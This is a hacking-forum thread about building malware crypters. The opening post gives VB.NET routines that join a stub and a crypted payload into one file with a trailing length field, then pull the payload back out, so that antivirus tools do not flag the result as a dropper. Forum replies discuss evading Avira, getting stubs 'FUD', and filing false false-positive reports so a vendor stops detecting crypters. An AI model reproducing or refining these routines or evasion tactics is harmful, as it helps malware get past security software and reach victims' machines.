

Forum:[Hack Forums](#)

Thread: [\[SCR\] New way of EOF Data \(No Dropper Detection\) !](#)

pr0t0typ3 - May 19, 2010, 9:42 am

Hi

I just tried somethings in vb and found a new way of writing/reading eof data without detection and filesplit.

So let's start:

```
Code Public Sub write_file(ByVal stub As String, ByVal file As String, ByVal output_path As String)
    Dim size As Long
    size = file.Length
    FileOpen(1, output_path, OpenMode.Binary, OpenAccess.Write, OpenShare.Default)
    FilePut(1, stub & file & size)
    FileClose()
```

End Sub This function will take both input file (stub + file to crypt) then it will write both file together without splitting them !!! At the end of the new file the function will write the lenght of the string of the second file (also without filesplit)

No you will think : Who can you now split them again?

First of all I'll give credits to xKillerxPanther for his Function for reading EOF data. Then I'll continue to my functions.

here is the code for the stub to split them again:

```
Code Public Function extract_file(ByVal path As String) As String
    Dim read_size As String = ReadEOFData(path)
    Dim in1 As String
    Dim ex As String
    FileOpen(1, Application.ExecutablePath, OpenMode.Binary, OpenAccess.Read,
OpenShare.Default)
    in1 = Space(LOF(1))
    FileGet(1, in1)
    FileClose()
    ex = in1.Substring(in1.Length - read_size.Length - read_size, read_size)
    Return ex
End Function

Public Function ReadEOFData(ByRef FilePath As String) As String
    Dim EOFBuf As String
    Dim IPos As Integer
    If Dir(FilePath) = "" Then
        Exit Function
    End If
    Dim ReadFile As String = IO.File.ReadAllText(FilePath)
    IPos = InStr(1, StrReverse(ReadFile), GetNullBytes(30))
    EOFBuf = (Mid(StrReverse(ReadFile), 1, IPos - 1))
    ReadEOFData = StrReverse(EOFBuf)
    If ReadEOFData = "" Then
        Exit Function
    End If
    Exit Function
End Function

Public Function GetNullBytes(ByRef INum As Object) As String
    Dim Buf As String
```

```
Dim i As Short
For i = 1 To INum
    Buf = Buf & Chr(0)
Next
GetNullBytes = Buf
```

End Function First of all my function will read the eof data this only contains the lenght of the second file. Then the function reads the complete server and after that it will generate a substring starting at the start of the second file to the end of the file and so the second file will be extracted again and you will have no Dropper Detection.

I hope you like it and give me proper credits. This is an inovation in the development of crypters because it will make the EOF attractive again without Junk Code or Icons.

Your pr0t0typ3

P.S. Leechers have small balls !!!!! Say at least thanks !

Joler1302 - May 19, 2010, 9:44 am

Thanks for contributing.

Gonna link to this in my thread.

:)

Sikandar - May 19, 2010, 9:53 am

cool

nice post dude

gonna try this

and im also trying the method of julian

adding it as resource

of course credits to him and cook1e

pr0t0typ3 - May 19, 2010, 10:09 am

41 people at least in this forum should fuck them selfs.. 43 views and 2 replays anyway thanks for the feedback.. I'm glad you like it

Kotei - May 19, 2010, 10:11 am

Just saw this now. Very nice dude. Will wait for others results....I cbf to try it atm.

Sikandar - May 19, 2010, 10:11 am

(May 19, 2010 10:09 AM)pr0t0typ3 Wrote: [\[CITE\]](#) 41 people at least in this forum should fuck them selfs.. 43 views and 2 replays anyway thanks for the feedback.. I'm glad you like it

no dont worry

others dont know how to use it

positively sure

stone666 - May 19, 2010, 10:13 am

Hey dont tell me to fuck my self i took a look but havent used it if i do i will say thanks :p

pr0t0typ3 - May 19, 2010, 10:14 am

(May 19, 2010 10:11 AM)Sikandar Wrote: [\[CITE\]](#) no dont worry

others dont know how to use it

positively sure! hope so because it took sometime to test and make it

xvisceral - May 19, 2010, 10:15 am

I also looked at it to see what language it was. Saw that it was VB.Net and not interested in even

looking at the code. So don't assume everyone is an ungrateful leecher - which you will get no matter what you post

pr0t0typ3 - May 19, 2010, 10:16 am

I'm sorry but I was a kind of pissed off because there are many leechers around here and if you get that much views and no reply you normal count 1 and 1 together... sry

HackerSnor - May 19, 2010, 10:31 am

im having 2 more detections ,
but where to add this piece of code
sry but this is looking difficult

pr0t0typ3 - May 19, 2010, 10:38 am

this isn't just a function to add it is a way of writing and reading eof data so you need some help ..
pm me

dark - May 19, 2010, 10:39 am

thanks but it is no useful for me since im not "coder".

pr0t0typ3 - May 19, 2010, 10:40 am

thanks anyway for the thanks .. xD

acidfreak - May 19, 2010, 10:50 am

i love you pr0t0 <3

^ ^
—

gonna try this now

GoldStar - May 19, 2010, 11:07 am

i understand it, but i feel like it's unsecure.

what if the file has numbers in it's eof? that will fuck it off.

btw, the Split is also not 100% secure, but there is a very small chance that the stub or the file contains the split string, specially if the split is some wierd sentence lool. well resources are more secure i think. but thx, good thinking.

SteloNLD - May 19, 2010, 11:09 am

i have a little problem because i see this program writes it like this

stub + file + filesize and normal crypter does it like this

stub + splitter + file yes :P i know how to split it but how

does your your function find the lengt of the filesize because could be 1 ore 12

and the eof contains file + filesize and how does this program knows

that the last 2 chars(example 12) ore the last 1 char(example 1) are the filelenth

i am learning code and i tried to understand this and so far i dont see anything good :P because

you even could write stub + file and then use getEOF result : file

in this case it isn't posible to use some thing like booleans

(example indicates if anti's should be activated ore not)

a stub with booleans looks like his stub + split + file + split + 0/1

(if 0 then the anti's are deactivated if 1 then they are enabled)

pr0t0typ3 - May 19, 2010, 11:10 am

It won't fuck of because there is nomatter of the other files .. only the number that is written afeter that is detected as after eof and will get read.. anyway it#s working and it is okay for asimple crypter

and if you want to continue using eof

(May 19, 2010 11:09 AM)SteloNLD Wrote: [\[CITE\]](#) i have a little problem because i see this program writes it like this

stub + file + filesize and normal crypter does it like this

stub + splitter + file yes :P i know how to split it but how

does your your function find the lengt of the filesize because could be 1 ore 12

and the eof contains file + filesize and how does this program knows

that the last 2 chars(example 12) ore the last 1 char(example 1) are the filelenth

i am learning code and i tried to understand this and so far i dont see anything good :P because you even could write stub + file and then use getEOF result : file

in this case it isn't posible to use some thing like booleans

(example indicates if anti's should be activated ore not)

a stub with booleans looks like his stub + split + file + split + 0/1

(if 0 then the anti's are deactivated if 1 then they are enabled)It's a kind of strange but the stub+the crypted file is detected as 1 file with 1 eof after teh second file don't knwo why xD

smp211 - May 19, 2010, 11:15 am

What is the purpose of writing the file.Length in the write_file sub?

pr0t0typ3 - May 19, 2010, 11:16 am

(May 19, 2010 11:15 AM)smp211 Wrote: [\[CITE\]](#) What is the purpose of writing the file.Length in the write_file sub?

It is used to fin the start of the second file agian becuase you don't use any splits

SteloNLD - May 19, 2010, 11:18 am

lol i think i understand

files arent detected as after EOF

so program will think eof is filesize

but when you use

stub + splitter + file

then the splitter is detected as in EOF and because other file is after the spliter(EOF) the av thinks it is other file :P because he sees it as file and in this case he knows it is been written after the EOF

am i richt ore did i explain it the noobie way

smp211 - May 19, 2010, 11:19 am

(May 19, 2010 11:16 AM)pr0t0typ3 Wrote: [\[CITE\]](#) It is used to fin the start of the second file agian becuase you don't use any splits

Can you explain where it fits into:

ex = in1.Substring(in1.Length - read_size.Length - read_size, read_size)

Or am i misunderstanding where file.Length is used?

Bitwin - May 19, 2010, 11:20 am

Pretty good(haven't used yet),

I'll still use resoruces because IMO it's much easier after Julians example (I made some functions out of it.)

SteloNLD - May 19, 2010, 11:25 am

lol i know how to use this with booleans

write is like this:

stub + file + splitter + filesize + boolean

this work because if he wont detect filesize's as something bad he wont think it of booleans and normal text is no code so this is not detected to :P

is this true then ur are fucking awesome other wise this will be useless for advanced crypters(i think)

GoldStar - May 19, 2010, 11:29 am

(May 19, 2010 11:25 AM)SteloNLD Wrote: [\[CITE\]](#) lol i know how to use this with booleans

write is like this:

stub + file + splitter + filesize + boolean

this work because if he wont detect filesize's as something bad he wont think it of booleans and normal text is no code so this is not detected to :P

is this true then ur are fucking awesome other wise this will be useless for advanced crypters(i think)

i think avira is detecting the first EOF, of the stub. cuz it reads it all, and read sections of a valid win32 app, to get the size of the app compiled. then the left is EOF Data. but i hope i'm wrong loool.

pr0t0typ3 - May 19, 2010, 11:32 am

this is just an simple example if you only want to write on file .. if you want to write differnt inofs you would have to mod this functions

(May 19, 2010 11:29 AM)Miharbi-DoNo Wrote: [\[CITE\]](#) i think avira is detecting the first EOF, of the stub. cuz it reads it all, and read sections of a valid win32 app, to get the size of the app compiled. then the left is EOF Data. but i hope i'm wrong loool.If you simply write a "/" between the 2 file it will also bedetcted.. I can't explain but it is working for now so plz guys I'm not a macigan I just foudn out how to do this

SteloNLD - May 19, 2010, 11:34 am

(May 19, 2010 11:29 AM)Miharbi-DoNo Wrote: [\[CITE\]](#) i think avira is detecting the first EOF, of the stub. cuz it reads it all, and read sections of a valid win32 app, to get the size of the app compiled. then the left is EOF Data. but i hope i'm wrong loool.

?? with first EOF u mean the file(encrypted virus :P)

Deathader - May 19, 2010, 11:36 am

Ew ew ew ew EW. Do NOT use fileput!

GoldStar - May 19, 2010, 11:37 am

(May 19, 2010 11:34 AM)SteloNLD Wrote: [\[CITE\]](#) ?? with first EOF u mean the file(encrypted virus :P)

yes it should be detected all of it as EOF Data. or i think so.

Bitwin - May 19, 2010, 11:38 am

(May 19, 2010 11:36 AM)Deathader Wrote: [\[CITE\]](#) Ew ew ew ew EW. Do NOT use fileput! Agreed.

pr0t0typ3 - May 19, 2010, 11:39 am

I just tried, You can add as many thing you want after the filesize even using filesplit but then you would have to filter the eof data first

SteloNLD - May 19, 2010, 11:47 am

(May 19, 2010 11:37 AM)Miharbi-DoNo Wrote: [\[CITE\]](#) yes it should be detected all of it as EOF Data. or i think so.

lol i though he explained me that file + file will be detected like 1 file for av's and file + normal-tekst + file been detekted as 2 files

this have's some logic you can't see diferents between tekst and tekst
and diferent between file and file

explain 0101010 + 01011100 is 010101001011100 if you dont know how each file looks then you even dont know wich is wich part

but when you have 0101010 + hello + 01011100 result 0101010hello01011100 then you see it :P

GoldStar - May 19, 2010, 11:55 am

(May 19, 2010 11:47 AM)SteloNLD Wrote: [\[CITE\]](#) lol i though he explained me that file + file will be detected like 1 file for av's and file + normal-tekst + file been detekted as 2 files

this have's some logic you can't see diferents between tekst and tekst
and diferent between file and file

explain 0101010 + 01011100 is 010101001011100 if you dont know how each file looks then you even dont know wich is wich part

but when you have 0101010 + hello + 01011100 result 0101010hello01011100 then you see it :P
now even each char from hello is an 8-bit (byte). but what i mean is, avira will read all file, then there is defined structures of a valid win32 app (you can check any runpe and you will find them). then it will take that file and start filling those structures from data of the file. if the data matches the structure, no eof. if we filled all structures and there is some data left, eof not empty.

SteloNLD - May 19, 2010, 12:04 pm

:P i think i under stand but then then AV"S are seeing the diferents between Stub + file

but what i under stand from the code is that the EOF function he used isn't seeing the file as EOF data so this function is making simple coding harder

and i now even dont understand why it is not detected as dropper any more maybe someone could explain :P other wise i dont use it :P

Deathader - May 19, 2010, 12:13 pm

I find it's useful to use filesplits like this:

```
Dim fileSplit As String = "iu¾Ç"Ö®ipfx'fè¶·İ...İîáý"
```

For some reason they are a LOT more UD (I just open random exe's in notepad++ and mash 2 strings together)

SteloNLD - May 19, 2010, 12:17 pm

lol so far as i know it still doesnt matter because you can make you stub fud with ore without this function so every body should do what he like :P

/etc/security/access.conf - May 19, 2010, 12:30 pm

I was waiting for this from you mate.

Good release. I'll probably use it. Thanks!

-NoxiousHacker.

South Park - May 19, 2010, 1:26 pm

This looks nice, but I need a way to bypass avira without modifying the crypter - just the stub. It seems impossible at this point. I'm going to write some emails up claiming some files as false positive's and make them 100% legitimate files just to bypass avira on my crypters.

Kotei - May 19, 2010, 1:31 pm

(May 19, 2010 01:26 PM)M0D3RN H4X3R 2™ Wrote: [\[CITE\]](#) This looks nice, but I need a way to bypass avira without modifying the crypter - just the stub. It seems impossible at this point. I'm going to write some emails up claiming some files as false positive's and make them 100% legitimate files just to bypass avira on my crypters.

They are going to ask for file samples or their source.

GodWall - May 19, 2010, 2:52 pm

This tread was a nice read and thanks 4 the source, I get it but not 100% :)

Deathader - May 19, 2010, 6:16 pm

<https://hackforums.net/showthread.php?tid=430500>

Check that out. It's a great way to bypass avira.

check24 - May 21, 2010, 12:29 am

can everyone explaine me this in a little example pls whit the normal eway to use of data i have no problems but here ^^ :)

But When this works ,it a amazing thing

Bad English Ftw

Cyrius42 - December 1, 2011, 10:34 pm

thanks a lot i have used it in my crypter

Fake. - December 2, 2011, 2:45 am

(Dec 2, 2011 02:16 AM)ThePrinCe Wrote: [\[CITE\]](#) Finally Something New , Thanks For The Share Budy and good work.

You're kidding right? A 1.5 year old thread is not new.

Blizzard - December 2, 2011, 2:47 am

Thank you for this contribution. Really appriciated.

V For Vendetta. - December 2, 2011, 3:27 am

Thank you for this. I like the code. :)

.CRz - December 2, 2011, 6:29 am

(May 19, 2010 10:16 AM)pr0t0typ3 Wrote: [\[CITE\]](#) I'm sorry but I was akind of pissed of because there are many leechers around here and if you get that much views and no reply you normal count 1 and 1 together... sry

you already knew that it will be that. you should do this to only trusted people, and when i say trusted people, i say, people that you belive that are trusted, not for being ub3r.

that's my opinion.

and i belive this code will be detected soonly...

Modesty - December 2, 2011, 8:05 am

Lol @ anyone who thinks this might still be FUD sigh

pr0t0typ3 - December 2, 2011, 8:58 am

(Dec 2, 2011 09:05 AM)Modesty Wrote: [\[CITE\]](#) Lol @ anyone who thinks this might still be FUD
*sigh*Exactly what I thought when I opened the thread :D